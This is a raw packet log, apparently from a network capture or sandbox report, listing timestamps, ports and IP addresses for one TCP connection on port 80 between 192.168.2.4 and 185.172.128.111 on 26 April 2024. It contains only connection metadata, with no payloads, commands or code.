Apr 26, 2024 09:41:08.713452101 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.713479042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.713496923 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.713519096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.713536024 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.713572979 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.713614941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.713645935 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.713680029 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.713685036 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.713715076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.713809967 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.713855982 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.713881969 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.713913918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.713921070 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.713949919 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.713980913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.714018106 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.714045048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.714083910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.714124918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.714173079 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.714215994 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.714255095 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.714262962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.714292049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.714325905 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.714365005 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.714382887 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.714417934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.714445114 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.714478016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.714483023 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.714514971 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.714539051 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.714576960 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.765502930 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.765573025 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.765594006 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.765615940 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.765628099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.765669107 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.765686989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.765706062 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.765707016 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.765743017 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.765757084 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.765789986 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.765796900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.765826941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.765882969 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.765902996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.765922070 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.765940905 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.765969992 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.766002893 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.766005993 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.766041040 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.766053915 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.766094923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.951832056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.951860905 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.951913118 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.951929092 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.951980114 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.951980114 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.951988935 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.952030897 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.952054024 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.952091932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.952230930 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.952275038 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.952281952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.952321053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.952405930 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.952444077 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.952486038 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.952553034 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.952569962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.952609062 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.952636003 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.952682018 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.952708960 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.952754974 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.952804089 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.952853918 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.952904940 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.952946901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.953003883 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.953022003 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.953052998 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.953068972 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.953110933 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.953156948 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.953181982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.953219891 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.953286886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.953336000 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.953362942 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.953393936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.953409910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.953433037 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.953490973 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.953530073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.953593016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.953630924 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.953643084 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.953675032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.953682899 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.953723907 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.953742027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.953761101 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.953784943 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.953803062 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.953828096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.953865051 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.953911066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.953944921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.953948975 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.953983068 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.954018116 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.954051018 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.954055071 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.954086065 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.954143047 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.954180956 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.954206944 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.954247952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.954437971 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.954474926 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.954519033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.954560041 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.954654932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.954699039 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.954703093 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.954741001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.954771042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.954813004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.954835892 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.954869032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.954873085 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.954907894 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.954916000 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.954947948 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.954951048 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.954983950 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.955022097 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.955059052 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.955077887 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.955113888 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.955154896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.955193043 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.955235004 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.955282927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.955295086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.955327988 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.955337048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.955375910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.955471992 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.955517054 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.955543041 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.955554962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.955557108 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.955598116 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.955622911 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.955658913 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.955658913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.955697060 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.955724955 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.955759048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.955810070 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.955913067 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.955955982 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.955971956 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.956012011 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.956039906 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.956078053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.956116915 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.956152916 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.956199884 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.956237078 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.956250906 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.956267118 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.956283092 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.956300974 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.956340075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.956382990 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.956410885 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.956443071 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.956446886 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.956484079 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.956487894 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.956518888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.956522942 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.956578970 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.956598997 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.956634998 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.956763029 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.956814051 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.956829071 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.956862926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.956865072 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.956901073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.956945896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.956985950 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.957012892 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.957052946 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.957520962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.957562923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.957592964 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.957632065 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.957665920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.957739115 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.957851887 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.957896948 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.957909107 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.957947969 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.957957983 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.957976103 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.957997084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.958010912 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.958115101 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.958158016 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.958347082 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.958389044 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.958400965 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.958420038 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.958441973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.958461046 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.958503008 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.958520889 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.958549023 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.958563089 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.958575964 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.958611012 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.958623886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.958687067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.958704948 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.958745003 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.958748102 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.958779097 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.958822966 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.958862066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.958863974 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.958898067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.958946943 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.958987951 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.958996058 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.959023952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:08.959036112 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:08.959074974 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.005909920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.005933046 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.005995035 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.005995989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.006031990 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.006035089 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.006072044 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.006073952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.006112099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.006150007 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.006195068 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.006222963 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.006270885 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.006297112 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.006300926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.006320953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.006349087 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.006365061 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.006402016 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.006429911 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.006473064 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.006521940 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.006548882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.006557941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.006586075 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.006596088 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.006633997 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.006995916 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.007044077 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.007056952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.007091045 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.007132053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.007173061 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.007416964 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.007462978 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.007472992 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.007510900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.007531881 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.007565975 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.007574081 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.007608891 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.007613897 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.007653952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.007728100 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.007771015 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.007791042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.007838011 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.192354918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.192383051 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.192440033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.192503929 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.192500114 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.192523003 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.192590952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.192593098 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.192591906 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.192646980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.192758083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.192812920 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.192821980 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.192841053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.192873001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.192904949 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.192918062 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.192950964 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.192971945 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.192995071 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.193003893 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.193049908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.193054914 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.193095922 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.193109989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.193145990 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.193152905 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.193206072 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.193207026 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.193226099 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.193257093 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.193273067 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.193281889 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.193325043 CEST	49730	80	192.168.2.4	185.172.128.111
